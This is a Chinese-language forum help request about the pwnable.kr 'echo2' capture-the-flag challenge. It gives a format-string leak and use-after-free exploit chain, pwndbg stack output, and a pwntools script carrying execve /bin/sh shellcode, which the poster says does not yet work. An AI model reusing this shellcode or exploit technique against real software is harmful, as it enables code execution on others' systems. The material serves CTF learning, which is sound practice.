-
-
[求助]Pwnable.kr 的 echo2,理解漏洞原理,但是细节总是有问题,求大佬解答。
-
-
[求助]Pwnable.kr 的 echo2,理解漏洞原理,但是细节总是有问题,求大佬解答。
程序在:nc pwnable.kr 9011
附件我也放了。我的脚本一直不对,感觉地址泄露有问题。
我的利用链如下:
- name 处写入 shellcode
- 按 2,泄露地址
- 按 4 执行 cleanup,按 n 不退出程序
- 按 3,用 s 覆写 o 空间
- 按 2,调用 o,也就完成了 shell
我的调试如下:
pwndbg> c
Continuing.
hey, what's your name? : shell
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> 2
hello shell
AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p
AAAAAAAA0x6032d10xfbad22880x7fffffffe570(nil)(nil)0x41414141414141410x70257025702570250x70257025702570250x257025702570250x7fffffgoodbye shell
可以看到输入的值在第 6 个位置。
pwndbg> stack 30
00:0000│ rax rsp 0x7fffffffe570 ◂— 'AAAAAAAA%p%p%p%p%p%p%p%p\n'
01:0008│-018 0x7fffffffe578 ◂— '%p%p%p%p%p%p%p%p\n'
02:0010│-010 0x7fffffffe580 ◂— '%p%p%p%p\n'
03:0018│-008 0x7fffffffe588 ◂— 0xa /* '\n' */
04:0020│ rbp 0x7fffffffe590 —▸ 0x7fffffffe5d0 —▸ 0x7fffffffe670 —▸ 0x7fffffffe6d0 ◂— 0
05:0028│+008 0x7fffffffe598 —▸ 0x400acb (main+443) ◂— jmp main+248
06:0030│+010 0x7fffffffe5a0 ◂— 0
07:0038│+018 0x7fffffffe5a8 ◂— 0x200000000
08:0040│+020 0x7fffffffe5b0 ◂— 0x6c6c656873 /* 'shell' */
可以看出,存储名字的地方距离 rbp 是-0x20。
所以格式化字符串泄露自身位置后+0x20 是 rbp 位置,再加0x20 是名字位置,也就是 shellcode。
我的脚本是:
from pwn import *
context.log_level = 'debug'
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
io = process('./echo2')
io.sendlineafter(b'name? :',shellcode)
io.sendlineafter(b'>',str(2).encode())
io.sendline(b'%6$p')
io.recvline()
rbp_addr = int(io.recvline().strip(), 16) + 0x20
print(hex(rbp_addr))
io.sendline(str(4).encode())
io.sendline(b'n')
io.sendline('3')
io.sendline(b'A'*24 + p64(rbp_addr + 0x20))
io.sendline('2')
io.interactive()
但是总不对。
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。